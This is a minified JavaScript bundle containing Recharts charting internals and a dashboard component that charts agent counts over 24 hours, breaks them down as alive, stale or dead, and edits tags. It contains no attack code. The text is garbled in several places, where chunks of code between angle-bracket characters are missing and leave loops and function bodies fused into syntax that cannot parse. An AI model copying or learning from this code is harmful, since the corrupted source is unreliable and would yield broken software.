L3=(e,t,n)=>gz(e,"xAxis",gv(e,t),n),I3=(e,t,n)=>vz(e,"xAxis",gv(e,t),n),D3=(e,t,n)=>gz(e,"yAxis",yv(e,t),n),R3=(e,t,n)=>vz(e,"yAxis",yv(e,t),n),mW=L([De,L3,D3,I3,R3],(e,t,n,r,i)=>vr(e,"xAxis")?hu(t,r,!1):hu(n,i,!1)),pW=(e,t)=>t,$3=L([Z4,pW],(e,t)=>e.filter(n=>n.type==="area").find(n=>n.id===t)),B3=e=>{var t=De(e),n=vr(t,"xAxis");return n?"yAxis":"xAxis"},hW=(e,t)=>{var n=B3(e);return n==="yAxis"?yv(e,t):gv(e,t)},xW=(e,t,n)=>nz(e,B3(e),hW(e,t),n),vW=L([$3,xW],(e,t)=>{var n;if(!(e==null||t==null)){var{stackId:r}=e,i=M0(e);if(!(r==null||i==null)){var s=(n=t[r])===null||n===void 0?void 0:n.stackedData,o=s==null?void 0:s.find(l=>l.key===i);if(o!=null)return o.map(l=>[l[0],l[1]])}}}),gW=L([De,L3,D3,I3,R3,vW,oI,mW,$3,xI],(e,t,n,r,i,s,o,l,c,u)=>{var{chartData:d,dataStartIndex:f,dataEndIndex:p}=o;if(!(c==null||e!=="horizontal"&&e!=="vertical"||t==null||n==null||r==null||i==null||r.length===0||i.length===0||l==null)){var{data:h}=c,x;if(h&&h.length>0?x=h:x=d==null?void 0:d.slice(f,p+1),x!=null)return DW({layout:e,xAxis:t,yAxis:n,xAxisTicks:r,yAxisTicks:i,dataStartIndex:f,areaSettings:c,stackedData:s,displayedData:x,chartBaseValue:u,bandSize:l})}}),yW=["id"],bW=["activeDot","animationBegin","animationDuration","animationEasing","connectNulls","dot","fill","fillOpacity","hide","isAnimationActive","legendType","stroke","xAxisId","yAxisId"];function na(){return na=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,stroke:r,fill:i,legendType:s,hide:o}=e;return[{inactive:o,dataKey:t,type:s,color:Vu(r,i),value:Dd(n,t),payload:e}]},SW=m.memo(e=>{var{dataKey:t,data:n,stroke:r,strokeWidth:i,fill:s,name:o,hide:l,unit:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:n,getPosition:ys,settings:{stroke:r,strokeWidth:i,fill:s,dataKey:t,nameKey:void 0,name:Dd(o,t),hide:l,type:u,color:Vu(r,s),unit:c,graphicalItemId:d}};return m.createElement(N3,{tooltipEntrySettings:f})});function CW(e){var{clipPathId:t,points:n,props:r}=e,{needClip:i,dot:s,dataKey:o}=r,l=Mr(r);return m.createElement(wF,{points:n,dot:s,className:"recharts-area-dots",dotClassName:"recharts-area-dot",dataKey:o,baseProps:l,needClip:i,clipPathId:t})}function PW(e){var{showLabels:t,children:n,points:r}=e,i=r.map(s=>{var o,l,c={x:(o=s.x)!==null&&o!==void 0?o:0,y:(l=s.y)!==null&&l!==void 0?l:0,width:0,lowerWidth:0,upperWidth:0,height:0};return Ua(Ua({},c),{},{value:s.value,payload:s.payload,parentViewBox:void 0,viewBox:c,fill:void 0})});return m.createElement(D$,{value:t?i:void 0},n)}function P2(e){var{points:t,baseLine:n,needClip:r,clipPathId:i,props:s}=e,{layout:o,type:l,stroke:c,connectNulls:u,isRange:d}=s,{id:f}=s,p=F3(s,yW),h=Mr(p),x=Ut(p);return m.createElement(m.Fragment,null,(t==null?void 0:t.length)>1&&m.createElement(tn,{clipPath:r?"url(#clipPath-".concat(i,")"):void 0},m.createElement(Za,na({},x,{id:f,points:t,connectNulls:u,type:l,baseLine:n,layout:o,stroke:"none",className:"recharts-area-area"})),c!=="none"&&m.createElement(Za,na({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:t})),c!=="none"&&d&&m.createElement(Za,na({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:n}))),m.createElement(CW,{points:t,props:p,clipPathId:i}))}function EW(e){var t,n,{alpha:r,baseLine:i,points:s,strokeWidth:o}=e,l=(t=s[0])===null||t===void 0?void 0:t.y,c=(n=s[s.length-1])===null||n===void 0?void 0:n.y;if(!Ee(l)||!Ee(c))return null;var u=r*Math.abs(l-c),d=Math.max(...s.map(f=>f.x||0));return ge(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.x||0),d)),ge(d)?m.createElement("rect",{x:0,y:lf.y||0));return ge(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.y||0),d)),ge(d)?m.createElement("rect",{x:l({points:o,baseLine:l}),[o,l]),g=qd(x,"recharts-area-"),y=tM(),[v,b]=m.useState(!1),w=!v,j=m.useCallback(()=>{typeof h=="function"&&h(),b(!1)},[h]),N=m.useCallback(()=>{typeof p=="function"&&p(),b(!0)},[p]);if(y==null)return null;var z=i.current,k=s.current;return m.createElement(PW,{showLabels:w,points:o},r.children,m.createElement(Yd,{animationId:g,begin:u,duration:d,isActive:c,easing:f,onAnimationEnd:j,onAnimationStart:N,key:g},S=>{if(z){var A=z.length/o.length,_=S===1?o:o.map((P,I)=>{var Y=Math.floor(I*A);if(z[Y]){var D=z[Y];return Ua(Ua({},P),{},{x:At(D.x,P.x,S),y:At(D.y,P.y,S)})}return P}),O;return ge(l)?O=At(k,l,S):Mt(l)||mr(l)?O=At(k,0,S):O=l.map((P,I)=>{var Y=Math.floor(I*A);if(Array.isArray(k)&&k[Y]){var D=k[Y];return Ua(Ua({},P),{},{x:At(D.x,P.x,S),y:At(D.y,P.y,S)})}return P}),S>0&&(i.current=_,s.current=O),m.createElement(P2,{points:_,baseLine:O,needClip:t,clipPathId:n,props:r})}return S>0&&(i.current=o,s.current=l),m.createElement(tn,null,c&&m.createElement("defs",null,m.createElement("clipPath",{id:"animationClipPath-".concat(n)},m.createElement(AW,{alpha:S,points:o,baseLine:l,layout:y,strokeWidth:r.strokeWidth}))),m.createElement(tn,{clipPath:"url(#animationClipPath-".concat(n,")")},m.createElement(P2,{points:o,baseLine:l,needClip:t,clipPathId:n,props:r})))}),m.createElement(f3,{label:r.label}))}function TW(e){var{needClip:t,clipPathId:n,props:r}=e,i=m.useRef(null),s=m.useRef();return m.createElement(OW,{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:s})}class MW extends m.PureComponent{render(){var{hide:t,dot:n,points:r,className:i,top:s,left:o,needClip:l,xAxisId:c,yAxisId:u,width:d,height:f,id:p,baseLine:h,zIndex:x}=this.props;if(t)return null;var g=Qe("recharts-area",i),y=p,{r:v,strokeWidth:b}=WF(n),w=w3(n),j=v*2+b,N=l?"url(#clipPath-".concat(w?"":"dots-").concat(y,")"):void 0;return m.createElement(Mi,{zIndex:x},m.createElement(tn,{className:g},l&&m.createElement("defs",null,m.createElement(FF,{clipPathId:y,xAxisId:c,yAxisId:u}),!w&&m.createElement("clipPath",{id:"clipPath-dots-".concat(y)},m.createElement("rect",{x:o-j/2,y:s-j/2,width:d+j,height:f+j}))),m.createElement(TW,{needClip:l,clipPathId:y,props:this.props})),m.createElement(N2,{points:r,mainColor:Vu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:N}),this.props.isRange&&Array.isArray(h)&&m.createElement(N2,{points:h,mainColor:Vu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:N}))}}var W3={activeDot:!0,animationBegin:0,animationDuration:1500,animationEasing:"ease",connectNulls:!1,dot:!1,fill:"#3182bd",fillOpacity:.6,hide:!1,isAnimationActive:"auto",legendType:"line",stroke:"#3182bd",strokeWidth:1,type:"linear",label:!1,xAxisId:0,yAxisId:0,zIndex:Zt.area};function LW(e){var t,n=gn(e,W3),{activeDot:r,animationBegin:i,animationDuration:s,animationEasing:o,connectNulls:l,dot:c,fill:u,fillOpacity:d,hide:f,isAnimationActive:p,legendType:h,stroke:x,xAxisId:g,yAxisId:y}=n,v=F3(n,bW),b=bs(),w=Wz(),{needClip:j}=T3(g,y),N=Jn(),{points:z,isRange:k,baseLine:S}=(t=je(Y=>gW(Y,e.id,N)))!==null&&t!==void 0?t:{},A=vv();if(b!=="horizontal"&&b!=="vertical"||A==null||w!=="AreaChart"&&w!=="ComposedChart")return null;var{height:_,width:O,x:P,y:I}=A;return!z||!z.length?null:m.createElement(MW,na({},v,{activeDot:r,animationBegin:i,animationDuration:s,animationEasing:o,baseLine:S,connectNulls:l,dot:c,fill:u,fillOpacity:d,height:_,hide:f,layout:b,isAnimationActive:p==="auto"?!Kd.isSsr:p,isRange:k,legendType:h,needClip:j,points:z,stroke:x,width:O,left:P,top:I,xAxisId:g,yAxisId:y}))}var IW=(e,t,n,r,i)=>{var s=n??t;if(ge(s))return s;var o=e==="horizontal"?i:r,l=o.scale.domain();if(o.type==="number"){var c=Math.max(l[0],l[1]),u=Math.min(l[0],l[1]);return s==="dataMin"?u:s==="dataMax"||c<0?c:Math.max(Math.min(l[0],l[1]),0)}return s==="dataMin"?l[0]:s==="dataMax"?l[1]:l[0]};function DW(e){var{areaSettings:{connectNulls:t,baseValue:n,dataKey:r},stackedData:i,layout:s,chartBaseValue:o,xAxis:l,yAxis:c,displayedData:u,dataStartIndex:d,xAxisTicks:f,yAxisTicks:p,bandSize:h}=e,x=i&&i.length,g=IW(s,o,n,l,c),y=s==="horizontal",v=!1,b=u.map((j,N)=>{var z,k,S,A;if(x)A=i[d+N];else{var _=Ve(j,r);Array.isArray(_)?(A=_,v=!0):A=[g,_]}var O=(z=(k=A)===null||k===void 0?void 0:k[1])!==null&&z!==void 0?z:null,P=O==null||x&&!t&&Ve(j,r)==null;if(y){var I;return{x:Ty({axis:l,ticks:f,bandSize:h,entry:j,index:N}),y:P?null:(I=c.scale.map(O))!==null&&I!==void 0?I:null,value:A,payload:j}}return{x:P?null:(S=l.scale.map(O))!==null&&S!==void 0?S:null,y:Ty({axis:c,ticks:p,bandSize:h,entry:j,index:N}),value:A,payload:j}}),w;return x||v?w=b.map(j=>{var N,z=Array.isArray(j.value)?j.value[0]:null;if(y){var k;return{x:j.x,y:z!=null&&j.y!=null&&(k=c.scale.map(z))!==null&&k!==void 0?k:null,payload:j.payload}}return{x:z!=null&&(N=l.scale.map(z))!==null&&N!==void 0?N:null,y:j.y,payload:j.payload}}):w=y?c.scale.map(g):l.scale.map(g),{points:b,baseLine:w??0,isRange:v}}function RW(e){var t=gn(e,W3),n=Jn();return m.createElement(k3,{id:t.id,type:"area"},r=>m.createElement(m.Fragment,null,m.createElement(CB,{legendPayload:zW(t)}),m.createElement(SW,{dataKey:t.dataKey,data:t.data,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:r}),m.createElement(FB,{type:"area",id:r,data:t.data,dataKey:t.dataKey,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,stackId:wT(t.stackId),hide:t.hide,barSize:void 0,baseValue:t.baseValue,isPanorama:n,connectNulls:t.connectNulls}),m.createElement(LW,na({},t,{id:r}))))}var U3=m.memo(RW,M3);U3.displayName="Area";var $W=(e,t)=>t,bv=L([$W,De,H4,St,Lz,Zr,TR,kt],BR),wv=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},V3=On("mouseClick"),H3=ol();H3.startListening({actionCreator:V3,effect:(e,t)=>{var n=e.payload,r=bv(t.getState(),wv(n));(r==null?void 0:r.activeIndex)!=null&&t.dispatch(OD({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var kh=On("mouseMove"),K3=ol(),nc=null;K3.startListening({actionCreator:kh,effect:(e,t)=>{var n=e.payload;nc!==null&&cancelAnimationFrame(nc);var r=wv(n);nc=requestAnimationFrame(()=>{var i=t.getState(),s=nv(i,i.tooltip.settings.shared);if(s==="axis"){var o=bv(i,r);(o==null?void 0:o.activeIndex)!=null?t.dispatch(Sz({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate})):t.dispatch(zz())}nc=null})}});function BW(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var E2={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},Y3=nn({name:"rootProps",initialState:E2,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:E2.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),FW=Y3.reducer,{updateOptions:WW}=Y3.actions,UW=null,VW={updatePolarOptions:(e,t)=>t.payload},q3=nn({name:"polarOptions",initialState:UW,reducers:VW}),{updatePolarOptions:HW}=q3.actions,KW=q3.reducer,G3=On("keyDown"),X3=On("focus"),jv=ol();jv.startListening({actionCreator:G3,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,s=e.payload;if(!(s!=="ArrowRight"&&s!=="ArrowLeft"&&s!=="Enter")){var o=rv(i,Es(n),gl(n),bl(n)),l=o==null?-1:Number(o);if(!(!Number.isFinite(l)||l<0)){var c=Zr(n);if(s==="Enter"){var u=Ru(n,"axis","hover",String(i.index));t.dispatch(yh({active:!i.active,activeIndex:i.index,activeCoordinate:u}));return}var d=jD(n),f=d==="left-to-right"?1:-1,p=s==="ArrowRight"?1:-1,h=l+p*f;if(!(c==null||h>=c.length||h<0)){var x=Ru(n,"axis","hover",String(h));t.dispatch(yh({active:!0,activeIndex:h.toString(),activeCoordinate:x}))}}}}}});jv.startListening({actionCreator:X3,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var s="0",o=Ru(n,"axis","hover",String(s));t.dispatch(yh({active:!0,activeIndex:s,activeCoordinate:o}))}}}});var kn=On("externalEvent"),Z3=ol(),Em=new Map;Z3.startListening({actionCreator:kn,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,s=Em.get(i);s!==void 0&&cancelAnimationFrame(s);var o=requestAnimationFrame(()=>{try{var l=t.getState(),c={activeCoordinate:gR(l),activeDataKey:$z(l),activeIndex:ms(l),activeLabel:Rz(l),activeTooltipIndex:ms(l),isTooltipActive:yR(l)};n(c,r)}finally{Em.delete(i)}});Em.set(i,o)}}});var YW=L([Cs],e=>e.tooltipItemPayloads),qW=L([YW,(e,t)=>t,(e,t,n)=>n],(e,t,n)=>{if(t!=null){var r=e.find(s=>s.settings.graphicalItemId===n);if(r!=null){var{getPosition:i}=r;if(i!=null)return i(t)}}}),Q3=On("touchMove"),J3=ol();J3.startListening({actionCreator:Q3,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=nv(r,r.tooltip.settings.shared);if(i==="axis"){var s=n.touches[0];if(s==null)return;var o=bv(r,wv({clientX:s.clientX,clientY:s.clientY,currentTarget:n.currentTarget}));(o==null?void 0:o.activeIndex)!=null&&t.dispatch(Sz({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate}))}else if(i==="item"){var l,c=n.touches[0];if(document.elementFromPoint==null||c==null)return;var u=document.elementFromPoint(c.clientX,c.clientY);if(!u||!u.getAttribute)return;var d=u.getAttribute(pk),f=(l=u.getAttribute(hk))!==null&&l!==void 0?l:void 0,p=Ps(r).find(g=>g.id===f);if(d==null||p==null||f==null)return;var{dataKey:h}=p,x=qW(r,d,f);t.dispatch(kz({activeDataKey:h,activeIndex:d,activeCoordinate:x,activeGraphicalItemId:f}))}}}});var GW=RN({brush:MF,cartesianAxis:SF,chartData:x9,errorBars:BF,graphicalItems:$B,layout:fT,legend:hM,options:d9,polarAxis:G$,polarOptions:KW,referenceElements:IF,rootProps:FW,tooltip:TD,zIndex:e9}),XW=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return DO({reducer:GW,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([H3.middleware,K3.middleware,jv.middleware,Z3.middleware,J3.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(JN({type:"raf"}))},devTools:{serialize:{replacer:BW},name:"recharts-".concat(n)}})};function eS(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Jn(),s=m.useRef(null);if(i)return n;s.current==null&&(s.current=XW(t,r));var o=Vx;return m.createElement(uW,{context:o,store:s.current},n)}function ZW(e){var{layout:t,margin:n}=e,r=ot(),i=Jn();return m.useEffect(()=>{i||(r(cT(t)),r(lT(n)))},[r,i,t,n]),null}var tS=m.memo(ZW,M3);function nS(e){var t=ot();return m.useEffect(()=>{t(WW(e))},[t,e]),null}function _2(e){var{zIndex:t,isPanorama:n}=e,r=m.useRef(null),i=ot();return m.useLayoutEffect(()=>(r.current&&i(QR({zIndex:t,element:r.current,isPanorama:n})),()=>{i(JR({zIndex:t,isPanorama:n}))}),[i,t,n]),m.createElement("g",{tabIndex:-1,ref:r})}function A2(e){var{children:t,isPanorama:n}=e,r=je(WR);if(!r||r.length===0)return t;var i=r.filter(o=>o<0),s=r.filter(o=>o>0);return m.createElement(m.Fragment,null,i.map(o=>m.createElement(_2,{key:o,zIndex:o,isPanorama:n})),t,s.map(o=>m.createElement(_2,{key:o,zIndex:o,isPanorama:n})))}var QW=["children"];function JW(e,t){if(e==null)return{};var n,r,i=eU(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var n=JT(),r=eM(),i=Tk();if(!Si(n)||!Si(r))return null;var{children:s,otherAttributes:o,title:l,desc:c}=e,u,d;return o!=null&&(typeof o.tabIndex=="number"?u=o.tabIndex:u=i?0:void 0,typeof o.role=="string"?d=o.role:d=i?"application":void 0),m.createElement(R5,Hu({},o,{title:l,desc:c,role:d,tabIndex:u,width:n,height:r,style:tU,ref:t}),s)}),rU=e=>{var{children:t}=e,n=je(Fd);if(!n)return null;var{width:r,height:i,y:s,x:o}=n;return m.createElement(R5,{width:r,height:i,x:o,y:s},t)},O2=m.forwardRef((e,t)=>{var{children:n}=e,r=JW(e,QW),i=Jn();return i?m.createElement(rU,null,m.createElement(A2,{isPanorama:!0},n)):m.createElement(nU,Hu({ref:t},r),m.createElement(A2,{isPanorama:!1},n))});function iU(){var e=ot(),[t,n]=m.useState(null),r=je(CT);return m.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),s=i.width/t.offsetWidth;Ee(s)&&s!==r&&e(dT(s))}},[t,e,r]),n}function T2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function aU(e){for(var t=1;t(z9(),null);function Ku(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var uU=m.forwardRef((e,t)=>{var n,r,i=m.useRef(null),[s,o]=m.useState({containerWidth:Ku((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:Ku((r=e.style)===null||r===void 0?void 0:r.height)}),l=m.useCallback((u,d)=>{o(f=>{var p=Math.round(u),h=Math.round(d);return f.containerWidth===p&&f.containerHeight===h?f:{containerWidth:p,containerHeight:h}})},[]),c=m.useCallback(u=>{if(typeof t=="function"&&t(u),u!=null&&typeof ResizeObserver<"u"){var{width:d,height:f}=u.getBoundingClientRect();l(d,f);var p=x=>{var g=x[0];if(g!=null){var{width:y,height:v}=g.contentRect;l(y,v)}},h=new ResizeObserver(p);h.observe(u),i.current=h}},[t,l]);return m.useEffect(()=>()=>{var u=i.current;u!=null&&u.disconnect()},[l]),m.createElement(m.Fragment,null,m.createElement(cl,{width:s.containerWidth,height:s.containerHeight}),m.createElement("div",ji({ref:c},e)))}),dU=m.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,s]=m.useState({containerWidth:Ku(n),containerHeight:Ku(r)}),o=m.useCallback((c,u)=>{s(d=>{var f=Math.round(c),p=Math.round(u);return d.containerWidth===f&&d.containerHeight===p?d:{containerWidth:f,containerHeight:p}})},[]),l=m.useCallback(c=>{if(typeof t=="function"&&t(c),c!=null){var{width:u,height:d}=c.getBoundingClientRect();o(u,d)}},[t,o]);return m.createElement(m.Fragment,null,m.createElement(cl,{width:i.containerWidth,height:i.containerHeight}),m.createElement("div",ji({ref:l},e)))}),fU=m.forwardRef((e,t)=>{var{width:n,height:r}=e;return m.createElement(m.Fragment,null,m.createElement(cl,{width:n,height:r}),m.createElement("div",ji({ref:t},e)))}),mU=m.forwardRef((e,t)=>{var{width:n,height:r}=e;return typeof n=="string"||typeof r=="string"?m.createElement(dU,ji({},e,{ref:t})):typeof n=="number"&&typeof r=="number"?m.createElement(fU,ji({},e,{width:n,height:r,ref:t})):m.createElement(m.Fragment,null,m.createElement(cl,{width:n,height:r}),m.createElement("div",ji({ref:t},e)))});function pU(e){return e?uU:mU}var hU=m.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:s,onContextMenu:o,onDoubleClick:l,onMouseDown:c,onMouseEnter:u,onMouseLeave:d,onMouseMove:f,onMouseUp:p,onTouchEnd:h,onTouchMove:x,onTouchStart:g,style:y,width:v,responsive:b,dispatchTouchEvents:w=!0}=e,j=m.useRef(null),N=ot(),[z,k]=m.useState(null),[S,A]=m.useState(null),_=iU(),O=Jx(),P=(O==null?void 0:O.width)>0?O.width:v,I=(O==null?void 0:O.height)>0?O.height:i,Y=m.useCallback(C=>{_(C),typeof t=="function"&&t(C),k(C),A(C),C!=null&&(j.current=C)},[_,t,k,A]),D=m.useCallback(C=>{N(V3(C)),N(kn({handler:s,reactEvent:C}))},[N,s]),M=m.useCallback(C=>{N(kh(C)),N(kn({handler:u,reactEvent:C}))},[N,u]),W=m.useCallback(C=>{N(zz()),N(kn({handler:d,reactEvent:C}))},[N,d]),$=m.useCallback(C=>{N(kh(C)),N(kn({handler:f,reactEvent:C}))},[N,f]),H=m.useCallback(()=>{N(X3())},[N]),F=m.useCallback(C=>{N(G3(C.key))},[N]),K=m.useCallback(C=>{N(kn({handler:o,reactEvent:C}))},[N,o]),Z=m.useCallback(C=>{N(kn({handler:l,reactEvent:C}))},[N,l]),oe=m.useCallback(C=>{N(kn({handler:c,reactEvent:C}))},[N,c]),de=m.useCallback(C=>{N(kn({handler:p,reactEvent:C}))},[N,p]),be=m.useCallback(C=>{N(kn({handler:g,reactEvent:C}))},[N,g]),ye=m.useCallback(C=>{w&&N(Q3(C)),N(kn({handler:x,reactEvent:C}))},[N,w,x]),G=m.useCallback(C=>{N(kn({handler:h,reactEvent:C}))},[N,h]),te=pU(b);return m.createElement(Yz.Provider,{value:z},m.createElement(_A.Provider,{value:S},m.createElement(te,{width:P??(y==null?void 0:y.width),height:I??(y==null?void 0:y.height),className:Qe("recharts-wrapper",r),style:aU({position:"relative",cursor:"default",width:P,height:I},y),onClick:D,onContextMenu:K,onDoubleClick:Z,onFocus:H,onKeyDown:F,onMouseDown:oe,onMouseEnter:M,onMouseLeave:W,onMouseMove:$,onMouseUp:de,onTouchEnd:G,onTouchMove:ye,onTouchStart:be,ref:Y},m.createElement(cU,null),n)))}),xU=["width","height","responsive","children","className","style","compact","title","desc"];function vU(e,t){if(e==null)return{};var n,r,i=gU(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:s,className:o,style:l,compact:c,title:u,desc:d}=e,f=vU(e,xU),p=Mr(f);return c?m.createElement(m.Fragment,null,m.createElement(cl,{width:n,height:r}),m.createElement(O2,{otherAttributes:p,title:u,desc:d},s)):m.createElement(hU,{className:o,style:l,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},m.createElement(O2,{otherAttributes:p,title:u,desc:d,ref:t},m.createElement(RF,null,s)))});function zh(){return zh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{t(HW(e))},[t,e]),null}var NU=["layout"];function Sh(){return Sh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=gn(e,OU);return m.createElement(CU,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:AU,tooltipPayloadSearcher:Gz,categoricalChartProps:n,ref:t})}),MU=["axis"],LU=m.forwardRef((e,t)=>m.createElement(wU,{chartName:"AreaChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:MU,tooltipPayloadSearcher:Gz,categoricalChartProps:e,ref:t}));function IU({agents:e}){const t=m.useMemo(()=>{const i=Date.now(),s=24*60*60*1e3,o=24,l=s/o,c=[];for(let u=0;unew Date(x.first_seen).getTime()<=d+l).length;c.push({time:p,count:h})}return c},[e]),n=m.useMemo(()=>{const i=e.filter(l=>l.status==="alive").length,s=e.filter(l=>l.status==="stale").length,o=e.filter(l=>l.status==="dead").length;return[{name:"Alive",value:i,color:"#06B6D4"},{name:"Stale",value:s,color:"#71717A"},{name:"Dead",value:o,color:"#3F3F46"}].filter(l=>l.value>0)},[e]),r=m.useId().replace(/:/g,"_")+"_agentFill";return e.length===0?null:a.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 mb-6",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Agent Count (24h)"}),a.jsx("div",{style:{height:100},children:a.jsx(Fy,{width:"100%",height:"100%",children:a.jsxs(LU,{data:t,margin:{top:0,right:0,bottom:0,left:0},children:[a.jsx("defs",{children:a.jsxs("linearGradient",{id:r,x1:"0",y1:"0",x2:"0",y2:"1",children:[a.jsx("stop",{offset:"0%",stopColor:"#06B6D4",stopOpacity:.2}),a.jsx("stop",{offset:"100%",stopColor:"#06B6D4",stopOpacity:0})]})}),a.jsx(Fb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"},labelStyle:{color:"#71717A"}}),a.jsx(U3,{type:"monotone",dataKey:"count",stroke:"#06B6D4",strokeWidth:1.5,fill:`url(#${r})`,dot:!1,activeDot:{r:3,fill:"#06B6D4",stroke:"#09090B",strokeWidth:2}})]})})})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Status Breakdown"}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsx("div",{style:{width:100,height:100},children:a.jsx(Fy,{width:"100%",height:"100%",children:a.jsxs(TU,{children:[a.jsx(S3,{data:n,cx:"50%",cy:"50%",innerRadius:30,outerRadius:45,paddingAngle:2,dataKey:"value",stroke:"none",children:n.map((i,s)=>a.jsx(ff,{fill:i.color},s))}),a.jsx(Fb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"}})]})})}),a.jsx("div",{className:"space-y-2",children:n.map(i=>a.jsxs("div",{className:"flex items-center gap-2 text-xs",children:[a.jsx("span",{className:"w-2 h-2 rounded-full",style:{backgroundColor:i.color}}),a.jsx("span",{className:"text-zerin-text-dim",children:i.name}),a.jsx("span",{className:"text-zerin-text font-mono font-medium",children:i.value})]},i.name))})]})]})]})}function DU({tags:e,onChange:t,readOnly:n=!1}){const[r,i]=m.useState(""),[s,o]=m.useState(!1),l=m.useRef(null),c=m.useCallback(()=>{const f=r.trim().toLowerCase();if(!f||e.includes(f)){i("");return}t([...e,f]),i(""),o(!1)},[r,e,t]),u=m.useCallback(f=>{t(e.filter(p=>p!==f))},[e,t]),d=f=>{f.key==="Enter"&&(f.preventDefault(),c()),f.key==="Escape"&&(o(!1),i(""))};return a.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[e.map(f=>a.jsxs("span",{className:`inline-flex items-center gap-1 px-2 py-0.5 text-xs font-medium\r + bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&a.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 